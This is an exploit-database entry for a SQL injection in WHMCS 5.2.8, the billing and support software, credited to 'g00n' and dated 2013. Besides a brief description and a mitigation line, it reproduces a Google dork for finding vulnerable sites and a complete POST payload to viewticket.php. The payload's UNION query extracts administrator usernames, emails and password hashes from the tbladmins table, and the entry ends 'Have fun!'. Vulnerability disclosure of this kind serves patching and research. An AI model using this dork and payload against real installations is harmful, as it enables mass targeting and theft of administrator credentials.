header-logo
Suggest Exploit
vendor:
WHMCS
by:
g00n
7,5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: WHMCS
Affected Version From: 5.2.8
Affected Version To: 5.2.8
Patch Exists: NO
Related CWE: N/A
CPE: a:whmcs:whmcs
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows, Linux
2013

WHMCS 5.2.8 SQL Injection

The select_query() function in the /includes/dbfunctions.php file of WHMCS 5.2.8 is vulnerable due to Register Globals. An attacker can exploit this vulnerability by sending a POST request to the /whmcs/viewticket.php file with a malicious SQL query in the tid parameter.

Mitigation:

Disable Register Globals in the php.ini file.
Source

Exploit-DB raw data:

# Exploit Title: WHMCS 5.2.8 SQL Injection
# Google Dork: "powered by WHMCS"
# Date: 10/18/2013
# Exploit Author: g00n ( Xploiter.net )
# Vendor Homepage: http://www.whmcs.com/
# Software Link: http://www.whmcs.com/
# Version: 5.2.8
# Tested on: Windows, Linux

Vulnerable file: /includes/dbfunctions.php

POC:

select_query() function is vulnerable due to Register Globals

Example:

/whmcs/viewticket.php

POST: tid[sqltype]=TABLEJOIN&tid[value]=-1 union select 1,0,0,0,0,0,0,0,0,0,0,(SELECT GROUP_CONCAT(id,0x3a,username,0x3a,email,0x3a,password SEPARATOR 0x2c20) FROM tbladmins),0,0,0,0,0,0,0,0,0,0,0#


Have fun!